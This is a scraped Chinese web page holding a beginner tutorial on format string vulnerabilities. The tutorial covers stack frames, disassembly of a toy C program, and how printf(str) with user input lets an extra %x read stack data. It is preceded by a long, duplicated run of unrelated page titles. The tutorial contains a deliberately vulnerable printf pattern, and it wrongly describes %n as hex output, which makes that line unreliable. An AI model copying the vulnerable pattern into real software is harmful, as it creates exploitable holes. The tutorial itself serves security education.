代理模式-业务安全漏洞挖掘归纳总结-Linux文件/文件夹打包zip命令-cve-2024-53961-cve-2024-53961-jquery.serialize-分钱-分钱-nginx 测试页面配置 案例- 静态页面-图片页面-Linux的/etc/fstab文件详解-网络运营-算法思维训练(四)| 哈希表?-nginx-Docker安装Gitlab社区版-七条-震-震-业务安全漏洞挖掘归纳总结-法理-法理-业务安全漏洞挖掘归纳总结-ie7-电视频道-uid-uid-基于jQuery的输入框无值自动显示指定数据的实现代码-Linux文件/文件夹打包zip命令-jquery.ajax之beforeSend方法使用介绍-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-出血-出血-Feed-rawtherapee-mybatisplus转义模糊查询-Promethues如何监控Tomcat-vps回程一键脚本|TCP回程|ICMP回程|IPV6回程测试-xunsearch-Python 2 与 3 共存了 11 年,新年就要和它道别-某某-某某-uid-uid-WAF-css改变鼠标形状-scikit-image-Redis数据结构及常见命令-Python高手之路-nprogress-K8S 生态周报| Ingress NGINX 项目暂停接收新功能将专注于稳定性提升-电话-win10Tomcat环境配置-分钱-分钱-url传值-私有-利用HTML5的CORS特性绕过httpOnly的限制实现XSS会话劫持-在PVE中通过虚拟机安装iStoreOS路由系统与手动安装软件-借助 minikube 上手 OpenFaaS-【好玩儿的Docker项目】自建一个加密鸽(可以阅后即焚的共享笔记或文件服务)——cryptgeon-绿联Pro 安装阅读3容器,部署自己的小说阅读器-sh-xwifi-xwifi-Mysql8.0源码安装和基础配置-OpenConnect Android 使用教程-《JavaScript高级程序设计》笔记-Video Reviews on Amazon-薪酬-用 Tekton 在 Kubernetes 中编写你的第一条 CI/CD 流水线-密码防护警示-form表单-Linux文件/文件夹打包zip命令-【大屏】墨青色 | 数据监测系统设计理念(深浅两款)-iis5-iis5-multi-stage-cve-2018-2019-multi-stage-禁用appxsvc服务-Feign Client 异常处理-SVG滤镜-轻松访问 Yahoo 日文网-libpcre.so.1-operating-operating-apache+php+mysql-将代码库从 SVN 迁移至 Git 并保留所有 commit 记录-越-越-【WEB 系列】SpringBoot 集成 Mybatis-Plus-整点-webcruiser3.5.5-e_all-webcruiser3.5.5-Markdown Editor-Linux文件/文件夹打包zip命令-kubo-kubo-SSH命令问题汇总-前端研发-illustration-MybatisPlus拦截并修改SQL语句-WordPress“正在执行例行维护,请一分钟后回来“解决方法-分别-分钱-分钱-Spring Security 中的 HttpSecurity 与 WebSecurity-业务安全漏洞挖掘归纳总结-彩色-AI工具制作视频-kv-kv-欢迎使用 Typecho-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-JavaScript笔记-轻松学习jQuery插件EasyUI EasyUI创建树形菜单-enctype-linux firewalld 防火墙开放3306端口-带你了解 MyBatis 插件设计演化过程-SQLite-在Azure Functions中在运行时安装Python模块。-Android Studio添加jar或aar依赖的两种方法-Mybatis 插件实现动态设置参数-利用 Python 爬取网站的新手指南-MybatisPlus 分页查询total一直为0解决方案-React中如何使用Next.js进行服务端渲染(SSR)和静态网站生成(SSG)?-ElasticSearch-用Cloudflare(自定义域名)和Nginx搭建ChatGPT API代理,解决受限地区无法访问使用问题-linux安装宋体中文字体-vps-Lua笔记-Linux文件/文件夹打包zip命令-构建具有重叠记录的时间轴 – SQL-DB2-IBM-MySQL备份软件mydumper编译安装及使用-Jquery实现鼠标移上弹出提示框、移出消失思路及代码-sjtug-Page Camera-droidVNC NG-CatOCR易飞文字识别-Linux文件权限详解,权限600/755/644等是什么意思?-cve-2016-10033-MybatisPlus拦截并修改SQL语句-捷-捷-相片处理软件-源于-js实现图片放大缩小功能后进行复杂排序的方法-使用jquery提交form表单并自定义action的方法-Spring Boot 在运行时启用和禁用端点-业务安全漏洞挖掘归纳总结-Docker Hub上镜像发现挖矿蠕虫病毒,已导致2000台主机感染-urls-springbean-全不-RTF Viewer-Linux文件/文件夹打包zip命令-directory-Linux文件/文件夹打包zip命令-不存在-视频换脸-cve-2023-21768-cve-2023-21768-CVE-2018-4990 Adobe Reader代码执行漏洞利用分析-1000u-回来-回来-好消息,Kimi大模型可以接入微信了!-无法在带有Typescript的Next.js项目中运行Cypress open命令。-webcruiser3.5.5-webcruiser3.5.5-nginx+fancy-expecting-python3.6.8-python3.6.8-1.7-1.7-DynamoDB系列之--几个核心的概念-openfaas-openfaas-Linux升级Docker后重启容器出现错误Unknown runtime specified docker-runc-华为交换机VTY用户界面属性配置教程-区别-ngxtop-ngxtop-firebug-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-php7安装tidy扩展-直接-clickonce-cve-2018-2019-cve-2018-2019-recursion-仪表盘构建-尚-mappress-尚-mappress-钉-foo-FINX-linux|安装|使用|netcat|完善-开搞-开搞-jquery导航制件jquery鼠标经过变色效果示例-优秀-Spring Boot 中 @ComponentScan 与 @EnableAutoConfiguration 的区别-搭-离谱,这个 AI 穿搭造型师每年狂赚 300 万美元!-Stackup-fragment-jQuery实现图片走马灯效果的原理分析-将被-谷歌-【折腾笔记】利用“双不限”流量卡跑PCDN-店小秘助手-ngxtop-Android:自定义对话框-ngxtop-H3C-Linux搭建RabbitMQ集群-业务安全漏洞挖掘归纳总结-不充分-不充分-心脏出血漏洞利用工具-javascript异步编程之generator(生成器函数)与asnyc/await语法糖-云服务器-mlog_checkpoint-AUTOPRUNE-数据库安装-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-線上會議自動接受工具-业务安全漏洞挖掘归纳总结-kv-kv-dd-idea插件 kafka-Windows 11:最新更新带来一波新功能-WebAssembly和Docker到底有什么关系?-ChatGPT-olm-JavaScript的异步编程之Promise-哈希(Hash)算法-Reservoir Sampling 蓄水池采样算法-软件教程-parrot linux 安装谷歌浏览器-es-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-000-tplink-tplink-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-Linux文件/文件夹打包zip命令-准备就绪-法理-法理-拷贝到-Nginx虚拟主机配置-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-notepad++-notepad++-Java 设计模式之观察者模式(十六)-Github-JQuery中使用.each()遍历元素学习笔记-日常运维-pod-php关于精准计算的模块 BCMath-K8S 生态周报| Kubernetes Ingress-NGINX 功能冻结前最后一个版本发布-Mysql-Zabbix Proxy升级完成后提示MySQL字符集不符合要求-AI换脸本地一键整合包:Facefusion 2.6.1无需部署 一键启动!-拷贝-什么是CDN-CentOS 命令的方式添加firewall端口-geotrust-zabbix 修改 告警阈值为90%-“来此加密”:轻松在线申请多域名和泛域名SSL证书-吊打Coze:原生Kimi接入个人微信,免费接入,打包下载解压即用-多少年-多少年-xwifi-xwifi-Save image to Downloads-WordPress添加QQ、新浪微博第三方登录功能-VSCode Remote SSH: Bad Owner or Permissions-溯源-mappress-Linux文件/文件夹打包zip命令-CSS Color Names-mdadm-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-Linux文件/文件夹打包zip命令-html中实现文字滚动的两种方式-资源池对象-tools-git笔记-EasyGo-系统漏洞-系统漏洞-Docker常用命令-JQuery拖动表头边框线调整表格列宽效果代码-Clash -看我如何利用漏洞窃取麦当劳网站注册用户密码-类似于-pf4j-got-JDK国内镜像加速下载,免登录!-Python机器学习——随机森林-Malta Stock Stalker-签为-使用reigistry对Docker镜像加速下载-Linux下配置DNS服务器完全文档-业务安全漏洞挖掘归纳总结-Easyv-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-10 款绚丽的前端 CSS 菜单导航动画 + 打包源码下载-Django CRUD操作-Linux文件/文件夹打包zip命令-prisma-不充分-不充分-在 Kubernetes 上使用 Flask 搭建 Python 微服务-Centos7 _audit.so: undefined symbol: audit_can_read故障处理-任意两个点的曲线连接JS算法-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-IntelliJ IDEA常用快捷键-WordPress免费响应式主题Ality0.33版-ab-在React中,使用`useRef` 声明式地添加项目还是使用`state`更具性能优势?-prometheus+grafana+alertmanager+-image-rendering-native-metrics-native-metrics-jQuery Tab插件 用于在Tab中显示iframe,附源码和详细说明-掉线-接活儿利器-Elasticsearch 7.9.1集群安装配置-esxi6.7_cve-2018-3646-大神-软件教程-ngxtop-ngxtop- Eslint-Plugin-Vue -可更新-jquery表单验证框架提供的身份证验证方法(示例代码)-jquery实现的元素的left增加N像素 鼠标移开会慢慢的移动到原来的位置-webcruiser3.5.5-webcruiser3.5.5-备选-rider-Amazing Auto Refresh-数学原理-dmm-dmm-java全局变量,java全局变量怎么定义-新视野-指令重排序、内存屏障很难?看完这篇你就懂了!-消费者-lifecycle-滑入-PochtaPlugin Adapter-把代码一键生成图片在线工具,支持JAVA、PHP等语言-双亲-linux-开源软件-jQuery 动态云标签插件-WordPress站点添加评论输入特效-clause-Linux部署Prometheus+Alertmanager并配置邮件告警-掌握强大的 Git 变基命令-软件使用-jquery.icolor.js-日常运维-组合-Twitter account detector-Linux文件/文件夹打包zip命令-iptables 及 docker 容器网络分析-iOS 更新会耗尽 iPhone 的电池吗?答案:并不那么明显-code-breaking-JavaScript优化方向和策略-Python一个键对应多个值-2024年投资Aleo算力服务器,有可能实现财富自由?-关于Robots.txt和SEO优化:它们之间有什么过往交集?-poscms-native-metrics-越-poscms-native-metrics-越-高龄-高龄-开源工具-operating-operating-Popper Stopper Pro-业务安全漏洞挖掘归纳总结-Linux文件/文件夹打包zip命令-posters-日常运维-手环-column-JQuery对ASP.NET MVC数据进行更新删除-cve-2024-56334-cve-2024-56334-wsappx-Linux添加新硬盘后,完美分区详细图解!-Linux Epoll IO 模型-操作系统-VS Code 报告 PHP 中从父类继承的方法出现假阳性。-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-ARMv8-cudnn-经验分享-Linux文件/文件夹打包zip命令-阅读代码-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-什么是L1和L2?区块链中的L1和L2有什么区别?-Rust中的闭包与函数-AI语音克隆-软件教程-python实现并发请求-信息管理-使用JavaScript的不可变数组方法编写更干净的代码-text4-win11家庭版升级为企业版开启NFS功能-暴雪-盒盖-cve-2019-0708-bluekeep-cve-2019-0708-bluekeep-Timr-渠道-Redis 哈希(Hash)-软件使用-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-看过来-新版 Spring Security 中的路径匹配机制-ElasticSearch-最新炸裂的五款ai换脸工具,收藏~-取-inline-size-Radioplayer UK-Your Arbor - Sustainable Shopping Assistant-J Dial Scraper-radmin-radmin-使用Spring框架的优点-打上-打上-模板的优化-Cantonese Popup Dictionary-xwifi-xwifi-Firefox-Docker使用pg_restore 出现Segmentation fault (core dumped)-攻击-师-paddle2onnx-日常运维-Python MetaClass-git其它-通过Python脚本获取指定日期一周范围时间-看到“游戏开发大神毛星云离世”的消息后,作为Web前端开发或后台程序员的我们需要思考些什么?-广播-cve-2024-56334-submodule-SQL语句的种类和代表命令(DDL DCL DML)-Wireshark软件识别解析 Portal 报文(默认抓取了portal报文,并不是说没有抓取,只是不解析而已)(附下载地址)-参考-工具盒子" /> 代理模式-业务安全漏洞挖掘归纳总结-Linux文件/文件夹打包zip命令-cve-2024-53961-cve-2024-53961-jquery.serialize-分钱-分钱-nginx 测试页面配置 案例- 静态页面-图片页面-Linux的/etc/fstab文件详解-网络运营-算法思维训练(四)| 哈希表?-nginx-Docker安装Gitlab社区版-七条-震-震-业务安全漏洞挖掘归纳总结-法理-法理-业务安全漏洞挖掘归纳总结-ie7-电视频道-uid-uid-基于jQuery的输入框无值自动显示指定数据的实现代码-Linux文件/文件夹打包zip命令-jquery.ajax之beforeSend方法使用介绍-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-出血-出血-Feed-rawtherapee-mybatisplus转义模糊查询-Promethues如何监控Tomcat-vps回程一键脚本|TCP回程|ICMP回程|IPV6回程测试-xunsearch-Python 2 与 3 共存了 11 年,新年就要和它道别-某某-某某-uid-uid-WAF-css改变鼠标形状-scikit-image-Redis数据结构及常见命令-Python高手之路-nprogress-K8S 生态周报| Ingress NGINX 项目暂停接收新功能将专注于稳定性提升-电话-win10Tomcat环境配置-分钱-分钱-url传值-私有-利用HTML5的CORS特性绕过httpOnly的限制实现XSS会话劫持-在PVE中通过虚拟机安装iStoreOS路由系统与手动安装软件-借助 minikube 上手 OpenFaaS-【好玩儿的Docker项目】自建一个加密鸽(可以阅后即焚的共享笔记或文件服务)——cryptgeon-绿联Pro 安装阅读3容器,部署自己的小说阅读器-sh-xwifi-xwifi-Mysql8.0源码安装和基础配置-OpenConnect Android 使用教程-《JavaScript高级程序设计》笔记-Video Reviews on Amazon-薪酬-用 Tekton 在 Kubernetes 中编写你的第一条 CI/CD 流水线-密码防护警示-form表单-Linux文件/文件夹打包zip命令-【大屏】墨青色 | 数据监测系统设计理念(深浅两款)-iis5-iis5-multi-stage-cve-2018-2019-multi-stage-禁用appxsvc服务-Feign Client 异常处理-SVG滤镜-轻松访问 Yahoo 日文网-libpcre.so.1-operating-operating-apache+php+mysql-将代码库从 SVN 迁移至 Git 并保留所有 commit 记录-越-越-【WEB 系列】SpringBoot 集成 Mybatis-Plus-整点-webcruiser3.5.5-e_all-webcruiser3.5.5-Markdown Editor-Linux文件/文件夹打包zip命令-kubo-kubo-SSH命令问题汇总-前端研发-illustration-MybatisPlus拦截并修改SQL语句-WordPress“正在执行例行维护,请一分钟后回来“解决方法-分别-分钱-分钱-Spring Security 中的 HttpSecurity 与 WebSecurity-业务安全漏洞挖掘归纳总结-彩色-AI工具制作视频-kv-kv-欢迎使用 Typecho-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-JavaScript笔记-轻松学习jQuery插件EasyUI EasyUI创建树形菜单-enctype-linux firewalld 防火墙开放3306端口-带你了解 MyBatis 插件设计演化过程-SQLite-在Azure Functions中在运行时安装Python模块。-Android Studio添加jar或aar依赖的两种方法-Mybatis 插件实现动态设置参数-利用 Python 爬取网站的新手指南-MybatisPlus 分页查询total一直为0解决方案-React中如何使用Next.js进行服务端渲染(SSR)和静态网站生成(SSG)?-ElasticSearch-用Cloudflare(自定义域名)和Nginx搭建ChatGPT API代理,解决受限地区无法访问使用问题-linux安装宋体中文字体-vps-Lua笔记-Linux文件/文件夹打包zip命令-构建具有重叠记录的时间轴 – SQL-DB2-IBM-MySQL备份软件mydumper编译安装及使用-Jquery实现鼠标移上弹出提示框、移出消失思路及代码-sjtug-Page Camera-droidVNC NG-CatOCR易飞文字识别-Linux文件权限详解,权限600/755/644等是什么意思?-cve-2016-10033-MybatisPlus拦截并修改SQL语句-捷-捷-相片处理软件-源于-js实现图片放大缩小功能后进行复杂排序的方法-使用jquery提交form表单并自定义action的方法-Spring Boot 在运行时启用和禁用端点-业务安全漏洞挖掘归纳总结-Docker Hub上镜像发现挖矿蠕虫病毒,已导致2000台主机感染-urls-springbean-全不-RTF Viewer-Linux文件/文件夹打包zip命令-directory-Linux文件/文件夹打包zip命令-不存在-视频换脸-cve-2023-21768-cve-2023-21768-CVE-2018-4990 Adobe Reader代码执行漏洞利用分析-1000u-回来-回来-好消息,Kimi大模型可以接入微信了!-无法在带有Typescript的Next.js项目中运行Cypress open命令。-webcruiser3.5.5-webcruiser3.5.5-nginx+fancy-expecting-python3.6.8-python3.6.8-1.7-1.7-DynamoDB系列之--几个核心的概念-openfaas-openfaas-Linux升级Docker后重启容器出现错误Unknown runtime specified docker-runc-华为交换机VTY用户界面属性配置教程-区别-ngxtop-ngxtop-firebug-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-php7安装tidy扩展-直接-clickonce-cve-2018-2019-cve-2018-2019-recursion-仪表盘构建-尚-mappress-尚-mappress-钉-foo-FINX-linux|安装|使用|netcat|完善-开搞-开搞-jquery导航制件jquery鼠标经过变色效果示例-优秀-Spring Boot 中 @ComponentScan 与 @EnableAutoConfiguration 的区别-搭-离谱,这个 AI 穿搭造型师每年狂赚 300 万美元!-Stackup-fragment-jQuery实现图片走马灯效果的原理分析-将被-谷歌-【折腾笔记】利用“双不限”流量卡跑PCDN-店小秘助手-ngxtop-Android:自定义对话框-ngxtop-H3C-Linux搭建RabbitMQ集群-业务安全漏洞挖掘归纳总结-不充分-不充分-心脏出血漏洞利用工具-javascript异步编程之generator(生成器函数)与asnyc/await语法糖-云服务器-mlog_checkpoint-AUTOPRUNE-数据库安装-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-線上會議自動接受工具-业务安全漏洞挖掘归纳总结-kv-kv-dd-idea插件 kafka-Windows 11:最新更新带来一波新功能-WebAssembly和Docker到底有什么关系?-ChatGPT-olm-JavaScript的异步编程之Promise-哈希(Hash)算法-Reservoir Sampling 蓄水池采样算法-软件教程-parrot linux 安装谷歌浏览器-es-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-000-tplink-tplink-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-Linux文件/文件夹打包zip命令-准备就绪-法理-法理-拷贝到-Nginx虚拟主机配置-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-notepad++-notepad++-Java 设计模式之观察者模式(十六)-Github-JQuery中使用.each()遍历元素学习笔记-日常运维-pod-php关于精准计算的模块 BCMath-K8S 生态周报| Kubernetes Ingress-NGINX 功能冻结前最后一个版本发布-Mysql-Zabbix Proxy升级完成后提示MySQL字符集不符合要求-AI换脸本地一键整合包:Facefusion 2.6.1无需部署 一键启动!-拷贝-什么是CDN-CentOS 命令的方式添加firewall端口-geotrust-zabbix 修改 告警阈值为90%-“来此加密”:轻松在线申请多域名和泛域名SSL证书-吊打Coze:原生Kimi接入个人微信,免费接入,打包下载解压即用-多少年-多少年-xwifi-xwifi-Save image to Downloads-WordPress添加QQ、新浪微博第三方登录功能-VSCode Remote SSH: Bad Owner or Permissions-溯源-mappress-Linux文件/文件夹打包zip命令-CSS Color Names-mdadm-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-Linux文件/文件夹打包zip命令-html中实现文字滚动的两种方式-资源池对象-tools-git笔记-EasyGo-系统漏洞-系统漏洞-Docker常用命令-JQuery拖动表头边框线调整表格列宽效果代码-Clash -看我如何利用漏洞窃取麦当劳网站注册用户密码-类似于-pf4j-got-JDK国内镜像加速下载,免登录!-Python机器学习——随机森林-Malta Stock Stalker-签为-使用reigistry对Docker镜像加速下载-Linux下配置DNS服务器完全文档-业务安全漏洞挖掘归纳总结-Easyv-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-10 款绚丽的前端 CSS 菜单导航动画 + 打包源码下载-Django CRUD操作-Linux文件/文件夹打包zip命令-prisma-不充分-不充分-在 Kubernetes 上使用 Flask 搭建 Python 微服务-Centos7 _audit.so: undefined symbol: audit_can_read故障处理-任意两个点的曲线连接JS算法-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-IntelliJ IDEA常用快捷键-WordPress免费响应式主题Ality0.33版-ab-在React中,使用`useRef` 声明式地添加项目还是使用`state`更具性能优势?-prometheus+grafana+alertmanager+-image-rendering-native-metrics-native-metrics-jQuery Tab插件 用于在Tab中显示iframe,附源码和详细说明-掉线-接活儿利器-Elasticsearch 7.9.1集群安装配置-esxi6.7_cve-2018-3646-大神-软件教程-ngxtop-ngxtop- Eslint-Plugin-Vue -可更新-jquery表单验证框架提供的身份证验证方法(示例代码)-jquery实现的元素的left增加N像素 鼠标移开会慢慢的移动到原来的位置-webcruiser3.5.5-webcruiser3.5.5-备选-rider-Amazing Auto Refresh-数学原理-dmm-dmm-java全局变量,java全局变量怎么定义-新视野-指令重排序、内存屏障很难?看完这篇你就懂了!-消费者-lifecycle-滑入-PochtaPlugin Adapter-把代码一键生成图片在线工具,支持JAVA、PHP等语言-双亲-linux-开源软件-jQuery 动态云标签插件-WordPress站点添加评论输入特效-clause-Linux部署Prometheus+Alertmanager并配置邮件告警-掌握强大的 Git 变基命令-软件使用-jquery.icolor.js-日常运维-组合-Twitter account detector-Linux文件/文件夹打包zip命令-iptables 及 docker 容器网络分析-iOS 更新会耗尽 iPhone 的电池吗?答案:并不那么明显-code-breaking-JavaScript优化方向和策略-Python一个键对应多个值-2024年投资Aleo算力服务器,有可能实现财富自由?-关于Robots.txt和SEO优化:它们之间有什么过往交集?-poscms-native-metrics-越-poscms-native-metrics-越-高龄-高龄-开源工具-operating-operating-Popper Stopper Pro-业务安全漏洞挖掘归纳总结-Linux文件/文件夹打包zip命令-posters-日常运维-手环-column-JQuery对ASP.NET MVC数据进行更新删除-cve-2024-56334-cve-2024-56334-wsappx-Linux添加新硬盘后,完美分区详细图解!-Linux Epoll IO 模型-操作系统-VS Code 报告 PHP 中从父类继承的方法出现假阳性。-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-ARMv8-cudnn-经验分享-Linux文件/文件夹打包zip命令-阅读代码-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-什么是L1和L2?区块链中的L1和L2有什么区别?-Rust中的闭包与函数-AI语音克隆-软件教程-python实现并发请求-信息管理-使用JavaScript的不可变数组方法编写更干净的代码-text4-win11家庭版升级为企业版开启NFS功能-暴雪-盒盖-cve-2019-0708-bluekeep-cve-2019-0708-bluekeep-Timr-渠道-Redis 哈希(Hash)-软件使用-Kubernetes部署Prometheus+Grafana+Alertmanager+NFS并配置邮件报警-看过来-新版 Spring Security 中的路径匹配机制-ElasticSearch-最新炸裂的五款ai换脸工具,收藏~-取-inline-size-Radioplayer UK-Your Arbor - Sustainable Shopping Assistant-J Dial Scraper-radmin-radmin-使用Spring框架的优点-打上-打上-模板的优化-Cantonese Popup Dictionary-xwifi-xwifi-Firefox-Docker使用pg_restore 出现Segmentation fault (core dumped)-攻击-师-paddle2onnx-日常运维-Python MetaClass-git其它-通过Python脚本获取指定日期一周范围时间-看到“游戏开发大神毛星云离世”的消息后,作为Web前端开发或后台程序员的我们需要思考些什么?-广播-cve-2024-56334-submodule-SQL语句的种类和代表命令(DDL DCL DML)-Wireshark软件识别解析 Portal 报文(默认抓取了portal报文,并不是说没有抓取,只是不解析而已)(附下载地址)-参考-工具盒子" />

51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

漏洞挖掘基础之格式化字符串

0x00 序


格式化字符串漏洞是一个很古老的漏洞了,现在几乎已经见不到这类漏洞的身影,但是作为漏洞分析的初学者来说,还是很有必要研究一下的,因为这是基础啊!!!所以就有了今天这篇文章。我文章都写好了,就差你来跟我搞二进制了!%>.<%

0x01 基础知识---栈


在进行真正的格式化字符串攻击之前,我们需要了解一些基础知识,方便更好的理解该类漏洞。 个人感觉我们还需要一些堆栈相关的基础知识才能更好的理解并运用格式化字符串漏洞。接下来我们就一起看一下栈相关的知识: 说到栈我们不得不提的就是函数调用与参数传递,因为栈的作用就是动态的存储函数之间的调用关系,从而保证在被调用函数返回时能够回到母函数中继续执行。栈其实是一种数据结构,栈中的数据是先进后出(First In Last Out),常见的操作有两种:

压栈(PUSH)和弹栈(POP),

用于标识栈属性的也有两个:栈顶(TOP)和栈底(BASE)。

PUSH:为栈增加一个元素。

POP:从栈中取出一个元素。

TOP:标识栈顶的位置,并且是动态变化的,每进行一次push操作,它会自增1,反之,每进行一次pop操作,它会自减1

BASE:标识栈底位置,它的位置是不会变动的。

函数调用时到底发生了什么呢,我们将通过下面的代码做一下简单的认识。 示例代码:

int func_B(arg_B1,arg_B2)
{
       int var_B;
       var_B = arg_B1+arg_B2;
       return var_B;
}
int func_A(arg_A1,arg_A2)
{
int var_A;
var_A = func_B(arg_A1,arg_A2);
return var_A;
}
int main (int argc, char **argv, char **envp)
{
int var_main;
var_main=func_A(1,2);
return var_main;
}

程序的执行过程如下图所示:

漏洞挖掘基础之格式化字符串_https://www.tiejiang.org_漏洞播报_第1张

通过上图我们可以看到程序执行的流程:main--func_A--func_B--func_A--main,CPU在执行程序时是如何知道各个函数之间的调用关系呢,接下来我们将介绍一个新的名词:栈帧。当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,这个栈帧中的内存空间被它所属的函数独占,当函数返回时,系统栈会弹出该函数所对应的栈帧。32位系统下提供了两个特殊的寄存器(ESP和EBP)识栈帧。

  • ESP:栈指针寄存器,存放一个指针,该指针指向栈顶。
  • EBP:基址指针寄存器,存放一个指针,该指针指向栈底。

CPU利用EBP(不是ESP)寄存器来访问栈内局部变量、参数、函数返回地址,程序运行过程中,ESP寄存器的值随时变化,如果以ESP的值为基准对栈内的局部变量、参数、返回地址进行访问显然是不可能的,所以在进行函数调用时,先把用作基准的ESP的值保存到EBP,这样以后无论ESP如何变化,都能够以EBP为基准访问到局部变量、参数以及返回地址。接下来将编译上述代码并进行调试,从而进一步了解函数调用以及参数传递的过程。

首先用gcc进行编译:gcc -fno-stack-protector -o 1 1.c

用objdump进行反汇编查看:objdump -d 1

    0804841d <main>:
     804841d:   55                      push   %ebp          ;函数开始(保存旧栈帧的底部)
     804841e:   89 e5                   mov    %esp,%ebp     ;设置新栈帧底部(切换栈帧)
     8048420:   83 ec 10                sub    $0x10,%esp    ;设置新栈帧的顶部(抬高栈顶,为新栈帧开辟空间)
     8048423:   6a 02                   push   $0x2          ;参数入栈(从右往左)
     8048425:   6a 01                   push   $0x1
     8048427:   e8 d5 ff ff ff          call   8048401 <func_A> ;向栈中压入当前指令所在的内存地址,保存返回地址
                                                              ;跳转到所调用函数的入口处执行
     804842c:   83 c4 08                add    $0x8,%esp
     804842f:   89 45 fc                mov    %eax,-0x4(%ebp)
     8048432:   8b 45 fc                mov    -0x4(%ebp),%eax
     8048435:   c9                      leave  
     8048436:   c3                      ret 
` 08048401 &lt;func_A&gt;:
 8048401:   55                      push   %ebp
 8048402:   89 e5                   mov    %esp,%ebp
 8048404:   83 ec 10                sub    $0x10,%esp
 8048407:   ff 75 0c                pushl  0xc(%ebp)
 804840a:   ff 75 08                pushl  0x8(%ebp)
 804840d:   e8 d9 ff ff ff          call   80483eb &lt;func_B&gt;
 8048412:   83 c4 08                add    $0x8,%esp
 8048415:   89 45 fc                mov    %eax,-0x4(%ebp)
 8048418:   8b 45 fc                mov    -0x4(%ebp),%eax
 804841b:   c9                      leave  
 804841c:   c3                      ret 
`

func_A栈帧如下图所示:

漏洞挖掘基础之格式化字符串_https://www.tiejiang.org_漏洞播报_第2张

我们将通过以下图例对本次函数调用做一个总结:

漏洞挖掘基础之格式化字符串_https://www.tiejiang.org_漏洞播报_第3张

通过前面的函数调用细节以及栈中数据的分布情况,我们可以发现局部变量是在栈中挨个排放的,如果这些局部变量中有数组之类的缓冲区,并且程序存在数组越界的问题,那么越界的数组元素就有可能破坏栈中相邻变量的值,进而破坏EBP的值、返回地址等重要数据。

因为本次主要讨论的是格式化字符串漏洞,关于栈溢出的细节就不做讨论了,感兴趣的可以查阅相关资料。

有了以上的基础知识以后,我们就可以进一步分析格式化字符串漏洞了。

0x02 格式化字符串漏洞原理


格式化串漏洞和普通的栈溢出有相似之处,但又有所不同,它们都是利用了程序员的疏忽大意来改变程序运行的正常流程。

接下来我们就来看一下格式化字符串的漏洞原理。

首先,什么是格式化字符串呢,print()、fprint()等*print()系列的函数可以按照一定的格式将数据进行输出,举个最简单的例子:

printf("My Name is:  %s" , "bingtangguan")

执行该函数后将返回字符串:My Name is:bingtangguan

该printf函数的第一个参数就是格式化字符串,它来告诉程序将数据以什么格式输出。上面的例子相信只要学过C语言、上过大学考过计算机二级的都耳熟能详,如果这个都不知道,接下来我真不知道该怎么写了。但是我还是觉得有必要把printf()函数好好写一下。

printf()函数的一般形式为:printf("format", 输出表列),我们对format比较关心,看一下它的结构吧:%[标志][输出最小宽度][.精度][长度]类型,其中跟格式化字符串漏洞有关系的主要有以下几点:

1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。

2、类型:

  • d 表示输出十进制整数*
  • s 从内存中读取字符串*
  • x 输出十六进制数*
  • n 输出十六进制数

对于其余内容,感兴趣的自行百度吧。

关于printf()函数的使用,正常我们使用printf()函数应该是这样的:

char str[100];
scanf("%s",str);
printf("%s",str);

这是正确的使用方式,但是也有的人会这么用:

char str[100];
scanf("%s",str);
printf(str)

然后,悲剧就发生了,我们可以对比一下这两段代码,很明显,第二个程序中的printf()函数参数我们是可控的,我们在控制了format参数之后结合printf()函数的特性就可以进行相应的攻击。

特性一: printf()函数的参数个数不固定

我们可以利用这一特性进行越界数据的访问。我们先看一个正常的程序:

#include <stdio.h>
int main(void)
{
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d\n",buf,a,b,c);
return 0;
}

我们编译之后运行:

bingtangguan@ubuntu:~/Desktop/format$ gcc -fno-stack-protector -o format format.c
bingtangguan@ubuntu:~/Desktop/format$ ./format 
test 1 2 3

接下来我们做一下测试,我们增加一个printf()的format参数,改为:

printf("%s %d %d %d %x\n",buf,a,b,c),编译后运行:

bingtangguan@ubuntu:~/Desktop/format$ gcc -z execstack -fno-stack-protector -o format1 format.c
format.c: In function ‘main’:
format.c:6:1: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
 printf("%s %d %d %d %x\n",buf,a,b,c);
 ^
bingtangguan@ubuntu:~/Desktop/format$ ./format1
test 1 2 3 c30000

